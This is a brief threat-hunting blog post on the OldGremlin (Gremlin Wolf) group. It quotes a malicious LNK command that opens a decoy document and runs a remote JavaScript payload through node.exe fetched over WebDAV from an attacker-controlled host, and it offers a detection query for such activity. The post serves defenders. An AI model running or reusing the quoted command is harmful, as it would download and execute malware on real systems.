105. Hunting for Gremlin Wolf (OldGremlin)

Hello everyone! Let's look at another activity cluster - Gremlin Wolf (also known as OldGremlin). This is one of my favorite adversaries, and recently I spotted another campaign, so I decided to share some detection and hunting opportunities.

The adversary distributes malicious LNK files, for example, this one. It's used to get and open a decoy document from a remote server, as well as to get a NodeJS interpreter to run a malicious JS-script:

cmd.exe /c start /B \\documents-drive.com\DavWWWRoot\DIADOC_Akt_sverki-04.25.docx & start /B \\documents-drive.com\DavWWWRoot\node.exe \\documents-drive.com\DavWWWRoot\index.txt

To hunt for such activity, I would focus on WebDAV and NodeJS interpreter, so the hunting query may look like this:

event_type: "processcreatewin"

AND

proc_file_name: "cmd.exe"

AND

cmdline: ("DavWWWRoot" AND "node.exe")

See you tomorrow!

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